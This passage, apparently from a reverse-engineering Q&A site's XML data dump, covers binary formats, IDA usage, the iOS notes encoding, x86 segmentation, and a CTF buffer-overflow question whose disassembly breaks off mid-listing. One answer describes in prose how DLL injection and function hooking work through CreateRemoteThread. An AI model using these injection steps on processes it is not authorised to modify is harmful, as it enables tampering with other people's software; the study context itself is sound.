  <row Id="14383" PostTypeId="2" ParentId="14382" CreationDate="2017-01-12T20:25:47.620" Score="1" Body="&lt;p&gt;Yes, it is possible to reverse engineer a binary with no extension. Consider a &quot;reversible&quot; binary with an extension. Remove the extension. Is the binary itself any different than it was before? Extensions have no significance in this context. Although I'm not sure, your error appears to indicate a radare shortcoming.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file visiond &#xA;visiond: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /system/bin/linker64, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15376" LastEditorUserId="15376" LastEditDate="2017-05-03T16:18:55.497" LastActivityDate="2017-05-03T16:18:55.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14384" PostTypeId="2" ParentId="14380" CreationDate="2017-01-12T20:42:57.683" Score="3" Body="&lt;p&gt;There is a really good book which does exactly that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Windows Internals: The Implementation of the Windows Operating Environment&quot; by Matt Pietrek.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's full of disassembly listings from the Windows 3.x kernel and other parts.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-01-12T20:42:57.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14385" PostTypeId="1" CreationDate="2017-01-12T23:16:34.507" Score="11" ViewCount="3540" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ngBHx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ngBHx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is the disassembly of a 64 bit ARM firmware image. Does anybody know what those &lt;code&gt;@PAGE&lt;/code&gt; and &lt;code&gt;@PAGEOFF&lt;/code&gt; symbols mean?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-05-09T19:21:00.810" Title="What are @PAGE and @PAGEOFF symbols in IDA?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14386" PostTypeId="2" ParentId="12858" CreationDate="2017-01-13T02:36:49.017" Score="2" Body="&lt;p&gt;For ASCII strings this should work, I am not sure about Unicode or other character sets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click the breakpoint and select edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;Log Text&quot; box, put, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String is {s:eax}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With eax containing the address of the string.&lt;/p&gt;&#xA;" OwnerUserId="9929" LastActivityDate="2017-01-13T02:36:49.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14387" PostTypeId="1" AcceptedAnswerId="14388" CreationDate="2017-01-13T07:05:38.313" Score="0" ViewCount="526" Body="&lt;p&gt;I am trying to understand how to read iOS notes files as they are saved in the NoteStore.sqlite database in the iOS backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/uc?export=download&amp;amp;id=0B7hmWtxRMILgRVVFOS04QjhqTWc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; are some sample files. Each file is a different note. &#xA;I want to get only the text out of it but can't figure out how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already understand that the textual part of the note is seperate from other parts (like links, pictures etc.) Can't find the length field so I can get the textual part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the note is shorter than 256 characters the 14th byte is the length.&#xA;But when it's longer, I can't figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone reverse this?&lt;/p&gt;&#xA;" OwnerUserId="18764" LastActivityDate="2017-01-13T09:31:52.820" Title="reversing ios notes file format" Tags="|file-format|ios|protocol|" AnswerCount="1" CommentCount="1" ClosedDate="2017-01-15T18:42:16.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="14388" PostTypeId="2" ParentId="14387" CreationDate="2017-01-13T09:31:52.820" Score="2" Body="&lt;p&gt;You are right about the 14th byte being the length on (some) short notes, like your file &lt;code&gt;4&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  08 00 12 d6 02 08 00 10 00 1a cf 02 12 1b 54 68   ..............Th&#xA;00000010  69 73 20 6e 6f 74 65 20 69 73 20 74 68 65 20 66   is note is the f&#xA;00000020  69 72 73 74 20 6f 6e 65 20 1a 10 0a 04 08 00 10   irst one .......&#xA;00000030  00 10 00 1a 04 08 00 10 00 28 01 1a 10 0a 04 08   .........(......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this is not always the case; in your file &lt;code&gt;9&lt;/code&gt;, which is even shorter, the length, at first glance, is at position 26, with the text after that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  08 00 12 81 01 08 00 10 00 1a 7b 12 17 d7 90 d7   ..........{.....&#xA;00000010  91 d7 90 0a d7 92 d7 93 d7 94 0a 31 32 33 34 35   ...........12345&#xA;00000020  36 37 38 39 1a 10 0a 04 08 00 10 00 10 00 1a 04   6789............&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and observing closely, you can see that in longer files, the text starts one byte behind that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  08 00 12 c5 07 08 00 10 00 1a be 07 12 ac 02 49   ...............I&#xA;00000010  6e 67 72 65 64 69 65 6e 74 73 20 0a 0a 32 20 63   ngredients ..2 c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that the length is coded in a special format: if the byte has its low order bit clear, then the byte is the length itself. If the high order bit is set, take only the low 7 bits, and prepend the next byte before that. For example, &lt;code&gt;ac 02&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1010 1100 0000 0011       =&amp;gt; remove 1st bit from 1st byte and prepend 2nd byte&#xA;0000 0011 010 1100        =&amp;gt; fill a 0 bit from the left and write in standard nibble notation&#xA;0000 0001 1010 1100       =&amp;gt; this is 1AC hex, or 428 bytes, which is the length of the note&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that the length of the file (minus some header) is encoded in the same way starting at position 11. This explains why file &lt;code&gt;9&lt;/code&gt; is different: it's the only one short enough to have a length &amp;lt; 0x80 (0x7b), so it needs only one byte here, so everything else is shifted left one byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And actually, I guess that the &quot;first glance&quot; was wrong; the real length of note 9 is 23 (hex 17), and it consists of 2 lines of 3 unicode characters each (utf-8? This translates those bytes to hebrew characters, or maybe integers in the same encoding as above, yielding unicode code points), ended with a newline, and it's an unfortunate coincidence that the &lt;code&gt;0a&lt;/code&gt; newline looks like the length byte for the numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to extract the text, seek to position 11, read a number which can be 1 or 2 bytes according to above, skip one byte which should be &lt;code&gt;12&lt;/code&gt;, read the length of 1 or 2 bytes, then read the text. Actually, i suspect that bytes 4 and 5 are some integer as well; so maybe you should start with byte 4 and adjust the offsets depending on whether it has bit 8 set or not.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2017-01-13T09:31:52.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14390" PostTypeId="2" ParentId="14377" CreationDate="2017-01-13T10:09:29.583" Score="1" Body="&lt;p&gt;It is due to ASLR like Sigtran said. As for your following question, it is the function's PLT that remains the same every time (I'm assuming you are talking about library function such as printf). The actual function address is resolved dynamically during the function's first invocation. The reason that the printf function's PLT remains the same is because it is in the text segment and the text segment is not randomized by ASLR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I would have added this as comment to your question, but I don't have enough reputation :(&lt;/p&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2017-01-13T10:09:29.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14391" PostTypeId="2" ParentId="14379" CreationDate="2017-01-13T10:27:21.230" Score="1" Body="&lt;p&gt;You just need to identify the main function. Everything called from main is user code. If you want to check if a function is part of user code, recursively check the xref starting from that function and see if it ends up in main. As for how to identify main, it depends on the OS that the executable is compiled for and possibly the specific compiler too. But for ELF files compiled by gcc for Linux, main is the last value pushed before calling __libc_start_main in start.&lt;/p&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2017-01-13T10:27:21.230" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14393" PostTypeId="2" ParentId="13508" CreationDate="2017-01-13T11:39:31.153" Score="0" Body="&lt;p&gt;You could use &lt;a href=&quot;https://mitmproxy.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mitmproxy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a local wifi&lt;/li&gt;&#xA;&lt;li&gt;Install mitmproxy on a laptop which connects to that wifi &lt;a href=&quot;http://docs.mitmproxy.org/en/stable/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;doc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;On your smartphone, install the CA certificate provided by mitmproxy. Then, connect the smartphone to your wifi, and specify your laptop as proxy. The default proxy port for mitmproxy is 8080.&lt;/li&gt;&#xA;&lt;li&gt;Launch your Outlook Android app, and view the HTTP(S) requests in the mitmproxy console on the laptop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18768" LastActivityDate="2017-01-13T11:39:31.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14394" PostTypeId="2" ParentId="14382" CreationDate="2017-01-13T12:01:42.757" Score="0" Body="&lt;p&gt;I can open that file in R2 with out any errors. Make sure you have the latest (from git) version of radare2, and then try again&lt;/p&gt;&#xA;" OwnerUserId="18769" LastActivityDate="2017-01-13T12:01:42.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14395" PostTypeId="2" ParentId="13879" CreationDate="2017-01-13T13:29:03.310" Score="1" Body="&lt;p&gt;&lt;strong&gt;Converting your hex file to binary&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;xxd -p -r&lt;/code&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo -n &quot;deadbeef&quot; | xxd -p -r | od -tx1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in your case, &lt;code&gt;xxd -p -r hex.file &amp;gt; binary.file&lt;/code&gt; should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Encrypted or not&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see &lt;em&gt;unencrypted strings with messages typical to your device&lt;/em&gt;, your firmware is (most probably) &lt;strong&gt;not encrypted&lt;/strong&gt; because it is unlikely only parts would encrypted and others not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the unencrypted strings are typical strings from &lt;code&gt;glibc&lt;/code&gt; or other libraries, then, it is uncertain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact your firmware includes a certificate does not mean it is encrypted. The certificate can be used to secure communications between the IoT and a remote server for instance.&lt;/p&gt;&#xA;" OwnerUserId="18768" LastEditorUserId="53" LastEditDate="2017-08-11T16:37:13.997" LastActivityDate="2017-08-11T16:37:13.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14397" PostTypeId="1" CreationDate="2017-01-13T14:39:30.913" Score="5" ViewCount="2353" Body="&lt;p&gt;How are the 16-bit values in segment registers used to represent large memory addresses?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ES 0023 32bit 0(FFFFFFFF)&#xA;CS 001B 32bit 0(FFFFFFFF)&#xA;SS 0023 32bit 0(FFFFFFFF)&#xA;DS 0023 32bit 0(FFFFFFFF)&#xA;FS 003B 32bit 7FFDF000 (FFF)&#xA;GS 0000 NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For instance, how does the &lt;code&gt;003B&lt;/code&gt; in &lt;code&gt;FS&lt;/code&gt; translate to &lt;code&gt;7FFDF000&lt;/code&gt;? Why are the &lt;code&gt;0023&lt;/code&gt; in &lt;code&gt;ES&lt;/code&gt; and the &lt;code&gt;001B&lt;/code&gt; in &lt;code&gt;CS&lt;/code&gt; both apparently translating to &lt;code&gt;0&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm digging through the Intel manuals, but hoping someone here can help me out a tiny bit quicker than I can read those...&lt;/p&gt;&#xA;" OwnerUserId="18770" LastEditorUserId="2147" LastEditDate="2018-08-29T04:55:06.833" LastActivityDate="2018-08-29T08:51:20.143" Title="How are addresses calculated from the values in x86 segment registers?" Tags="|windows|ollydbg|x86|register|segmentation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14399" PostTypeId="1" AcceptedAnswerId="14404" CreationDate="2017-01-13T17:03:30.820" Score="0" ViewCount="224" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/20bCJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/20bCJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a large continuous, memory region as shown above in IDA disassembly which has got the same address for every possible address. Is the disassembly incorrect? How do I interpret one single row?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DCB &quot;0000000000000000 l    df *ABS*&quot;,9,&quot;0000000000000000 gic.c&quot;,0xA&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The row above doesn't seem to be continuous data even. How are the columns  (space/tab and comma separated) significant? I can locate the following column values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DCB&lt;/li&gt;&#xA;&lt;li&gt;0000000000000000&lt;/li&gt;&#xA;&lt;li&gt;1&lt;/li&gt;&#xA;&lt;li&gt;df&lt;/li&gt;&#xA;&lt;li&gt;*ABS*&lt;/li&gt;&#xA;&lt;li&gt;9&lt;/li&gt;&#xA;&lt;li&gt;0000000000000000&lt;/li&gt;&#xA;&lt;li&gt;gic.c&lt;/li&gt;&#xA;&lt;li&gt;0xA&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-13T22:10:48.237" Title="How come such large a data region has got the same address in IDA?" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14400" PostTypeId="2" ParentId="14399" CreationDate="2017-01-13T17:15:10.360" Score="1" Body="&lt;p&gt;This is a structure recognized automatically by IDA.&#xA;Structures are displayed like that, IDA bundles the different values of the structure sequentially and displays the starting address of the entire structure for all values of it. If you'll hit the plus (&lt;kbd&gt;+&lt;/kbd&gt;) key IDA will spread the structure across multiple lines, displaying extra details about each member of the structure.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-01-13T17:15:10.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14401" PostTypeId="2" ParentId="14397" CreationDate="2017-01-13T17:26:58.470" Score="4" Body="&lt;p&gt;You're looking at 32 bit registers (probably in a 32bit process). Since 32bit processors segment registers are rarely used as offset addresses for the simple reason 32 bit is enough to represent a pretty big address range. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, some segment registers (&lt;code&gt;CS&lt;/code&gt;, &lt;code&gt;SS&lt;/code&gt;, &lt;code&gt;DS&lt;/code&gt;) are now used for permissions, memory protection and paging, while others are used as general purpose registers, or OS specific structures (such as &lt;code&gt;FS&lt;/code&gt; in 32bit windows and &lt;code&gt;GS&lt;/code&gt; in linux and 64bit windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out more, I suggest you read about memory protection, protected mode, and modern OS memory management and paging.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-01-13T17:26:58.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14402" PostTypeId="2" ParentId="14397" CreationDate="2017-01-13T19:42:28.700" Score="5" Body="&lt;p&gt;In protected mode the segment selectors are indexes into the descriptor table (local or global one, depending on the TI bit of the selector). The descriptor entry describes the base address, limit (size) and some other attributes of the segment (data or code, 16- or 32-bit). For more info see the following links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.osdev.org/Global_Descriptor_Table&quot; rel=&quot;nofollow noreferrer&quot;&gt;Global Descriptor Table&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://duartes.org/gustavo/blog/post/memory-translation-and-segmentation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Memory Translation and Segmentation&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Windows usually sets up the selectors so that they map 1:1 directly to virtual addresses, that's why they all have base of 0. &lt;code&gt;fs&lt;/code&gt; is the exception because it's used for quick addressing of the Thread Information Block (TIB) which is separate for each thread of each process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on 32-bit kernels you can in fact set up a custom selector mapping using the undocumented function &lt;code&gt;NtSetLdtEntries&lt;/code&gt;. See here for more info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://j00ru.vexillium.org/?p=866&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protected Mode Segmentation as a powerful anti-debugging measure&lt;/a&gt;, by j00ru.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2018-08-29T08:51:20.143" LastActivityDate="2018-08-29T08:51:20.143" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14404" PostTypeId="2" ParentId="14399" CreationDate="2017-01-13T22:10:48.237" Score="2" Body="&lt;p&gt;It's just a single (very long) text string. Look at the &lt;code&gt;dcb&lt;/code&gt; and double quotes; unprintable characters are included outside the double quotes, in hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably there is a zero-terminator at the very end, which is how IDA Pro identified it as a &lt;em&gt;string&lt;/em&gt;: all it contains are printable characters, plus the characters Tab and LF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's broken up at the linefeeds so it is slightly better readable, but that's for display only. If you press the &lt;code&gt;*&lt;/code&gt; &quot;Define array&quot; key somewhere inside this, you will see it's indeed a single long array of bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The starting address is only repeated for your convenience. &quot;The&quot; address of a larger structure is in general the address of its first byte.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2017-01-13T22:10:48.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14405" PostTypeId="2" ParentId="14286" CreationDate="2017-01-13T22:47:39.397" Score="0" Body="&lt;p&gt;CreateRemoteThread() is used to create a new thread inside the remote process.  The function will return the ID of the newly created thread.  This can be used to load your DLL into the remote process, by passing the address of LoadLibrary() as the thread start address (note that you would need to VirtualAllocEx() and WriteProcessMemory() to place the filename in the remote process first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once your DLL is loaded, you would need to hook the function of interest (via VirtualProtect(MEM_WRITABLE)/memcpy()/VirtualProtect(original protection)), since you can't inject directly into a thread.  You can only modify the code that the thread is running, and then receive control indirectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for safety, you would need to SuspendThread() the thread of interest before you make changes to its code, unless the function that you wish to alter is hot-patchable.  In the case of a hot-patchable function, you would write the long jump at address function-5, and then write the short jump at the function start.  The write of the short jump is an atomic operation so there is no risk of misaligned execution.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-01-13T22:47:39.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14408" PostTypeId="1" CreationDate="2017-01-15T08:20:43.680" Score="3" ViewCount="877" Body="&lt;p&gt;I am working on a reverse engineering project on android apk. I would like to check if the file being analyzed is a binary file such as .so file or elf file.  Is it possible to get it from idapro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z4OPa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z4OPa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18788" LastActivityDate="2017-01-16T10:09:08.063" Title="How to get the file format via Idapython?" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14410" PostTypeId="2" ParentId="14408" CreationDate="2017-01-15T11:08:26.500" Score="3" Body="&lt;p&gt;There is an IDApython function that provides what you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's called &lt;code&gt;idaapi.get_file_type_name()&lt;/code&gt; and it will return the same string displayed in the &quot;Load a new file&quot; dialog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pMpMz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMpMz.png&quot; alt=&quot;get_basic_file_type&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, there's another function called &lt;code&gt;get_loader_name&lt;/code&gt;, which is only accessible through IDA's C SDK and isn't exposed by IDAPython because it wasn't thought to be needed. Emailing hexrays asking it to be included in idapython will probably get a positive response, making it available to future versions.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-01-16T10:09:08.063" LastActivityDate="2017-01-16T10:09:08.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14411" PostTypeId="1" CreationDate="2017-01-15T12:57:58.030" Score="-1" ViewCount="2665" Body="&lt;p&gt;I'm learning assembly and I have one question.&#xA;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    foo(a);&#xA;}&#xA;&#xA;int foo (x)&#xA;{&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when the &lt;code&gt;foo&lt;/code&gt; function returns to &lt;code&gt;main&lt;/code&gt; the &lt;code&gt;ret&lt;/code&gt; instruction is executed. How does the &lt;code&gt;ret&lt;/code&gt; instruction knows where the pushed &lt;code&gt;EIP&lt;/code&gt; register is saved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that before the &lt;code&gt;foo&lt;/code&gt; function is called the &lt;code&gt;EIP&lt;/code&gt; is pushed to the stack, but when &lt;code&gt;ret&lt;/code&gt; in &lt;code&gt;foo&lt;/code&gt; is executed, what the &lt;code&gt;ret&lt;/code&gt; really does? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="18792" LastEditorUserId="2147" LastEditDate="2017-01-15T18:49:53.173" LastActivityDate="2020-02-23T09:02:20.377" Title="How ret know where eip is saved?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14413" PostTypeId="2" ParentId="14411" CreationDate="2017-01-15T16:48:12.767" Score="4" Body="&lt;p&gt;The &lt;code&gt;ret&lt;/code&gt; instruction actually performs quite a simple task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is composed of two operations in the CPU:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It pops the topmost value off the stack.&lt;/li&gt;&#xA;&lt;li&gt;It sets the &lt;code&gt;eip&lt;/code&gt; register to that popped value.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Therefore, the &lt;code&gt;ret&lt;/code&gt; instruction never really &quot;knows&quot; or &quot;finds out&quot; where the previous &lt;code&gt;eip&lt;/code&gt; value is stored. &lt;code&gt;ret&lt;/code&gt; just assumes the topmost stack variable &lt;em&gt;is&lt;/em&gt; the previous &lt;code&gt;eip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the responsibility for the developer (or, more commonly now - the compiler) to make sure that assumption is met whenever a &lt;code&gt;ret&lt;/code&gt; instruction is executed by the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making sure that assumption is valid is one of what some might say is the worst constraint enforced on the stack, and the reason why every function must make sure it leaves the stack in the same state it entered it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also makes some assembly tricks (such as hooking) a bit more complex, but I won't go into that here.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-02-23T09:02:20.377" LastActivityDate="2020-02-23T09:02:20.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14414" PostTypeId="1" CreationDate="2017-01-15T19:14:59.240" Score="3" ViewCount="844" Body="&lt;p&gt;&lt;em&gt;Complete newbie alert so apologies on what you're about to read.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've an executable I'm working with to achieve buffer overflow on. This is for an old CTF that has been and gone but I chose it to practice on. I've ran &lt;code&gt;objdump&lt;/code&gt; on it and a snippet can be seen below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA; 8048821:   e8 ea fc ff ff          call   8048510 &amp;lt;__isoc99_sscanf@plt&amp;gt;  // Gets input???&#xA; 8048826:   8b 44 24 78             mov    0x78(%esp),%eax // Moves ??? to %eax&#xA; 804882a:   3b 84 24 88 00 00 00    cmp    0x88(%esp),%eax //  Does a comparison?&#xA; 8048831:   75 14                   jne    8048847 &amp;lt;close@plt+0x317&amp;gt;  // Jump to 8048847 if it's not equal?&#xA; 8048833:   e8 49 fe ff ff          call   8048681 &amp;lt;close@plt+0x151&amp;gt;&#xA; 8048838:   a1 50 a0 04 08          mov    0x804a050,%eax&#xA; 804883d:   89 04 24                mov    %eax,(%esp)&#xA; 8048840:   e8 6b fc ff ff          call   80484b0 &amp;lt;puts@plt&amp;gt;&#xA; 8048845:   eb 0d                   jmp    8048854 &amp;lt;close@plt+0x324&amp;gt;&#xA; 8048847:   a1 54 a0 04 08          mov    0x804a054,%eax&#xA; 804884c:   89 04 24                mov    %eax,(%esp)&#xA; 804884f:   e8 5c fc ff ff          call   80484b0 &amp;lt;puts@plt&amp;gt;&#xA; 8048854:   b8 00 00 00 00          mov    $0x0,%eax&#xA; 8048859:   c9                      leave  &#xA; 804885a:   c3                      ret    &#xA; 804885b:   66 90                   xchg   %ax,%ax&#xA; 804885d:   66 90                   xchg   %ax,%ax&#xA; 804885f:   90                      nop&#xA; 8048860:   55                      push   %ebp&#xA; 8048861:   57                      push   %edi&#xA; 8048862:   31 ff                   xor    %edi,%edi&#xA; 8048864:   56                      push   %esi&#xA; 8048865:   53                      push   %ebx&#xA; 8048866:   e8 05 fd ff ff          call   8048570 &amp;lt;close@plt+0x40&amp;gt;&#xA; 804886b:   81 c3 95 17 00 00       add    $0x1795,%ebx&#xA; 8048871:   83 ec 1c                sub    $0x1c,%esp&#xA; 8048874:   8b 6c 24 30             mov    0x30(%esp),%ebp&#xA; 8048878:   8d b3 0c ff ff ff       lea    -0xf4(%ebx),%esi&#xA; 804887e:   e8 b1 fb ff ff          call   8048434 &amp;lt;read@plt-0x3c&amp;gt;&#xA; 8048883:   8d 83 08 ff ff ff       lea    -0xf8(%ebx),%eax&#xA; 8048889:   29 c6                   sub    %eax,%esi&#xA; 804888b:   c1 fe 02                sar    $0x2,%esi&#xA; 804888e:   85 f6                   test   %esi,%esi&#xA; 8048890:   74 27                   je     80488b9 &amp;lt;close@plt+0x389&amp;gt;&#xA; 8048892:   8d b6 00 00 00 00       lea    0x0(%esi),%esi&#xA; 8048898:   8b 44 24 38             mov    0x38(%esp),%eax&#xA; 804889c:   89 2c 24                mov    %ebp,(%esp)&#xA; 804889f:   89 44 24 08             mov    %eax,0x8(%esp)&#xA; 80488a3:   8b 44 24 34             mov    0x34(%esp),%eax&#xA; 80488a7:   89 44 24 04             mov    %eax,0x4(%esp)&#xA; 80488ab:   ff 94 bb 08 ff ff ff    call   *-0xf8(%ebx,%edi,4)&#xA; 80488b2:   83 c7 01                add    $0x1,%edi&#xA; 80488b5:   39 f7                   cmp    %esi,%edi&#xA; 80488b7:   75 df                   jne    8048898 &amp;lt;close@plt+0x368&amp;gt;&#xA; 80488b9:   83 c4 1c                add    $0x1c,%esp&#xA; 80488bc:   5b                      pop    %ebx&#xA; 80488bd:   5e                      pop    %esi&#xA; 80488be:   5f                      pop    %edi&#xA; 80488bf:   5d                      pop    %ebp&#xA; 80488c0:   c3                      ret    &#xA; 80488c1:   eb 0d                   jmp    80488d0 &amp;lt;close@plt+0x3a0&amp;gt;&#xA; 80488c3:   90                      nop&#xA; 80488c4:   90                      nop&#xA; 80488c5:   90                      nop&#xA; 80488c6:   90                      nop&#xA; 80488c7:   90                      nop&#xA; 80488c8:   90                      nop&#xA; 80488c9:   90                      nop&#xA; 80488ca:   90                      nop&#xA; 80488cb:   90                      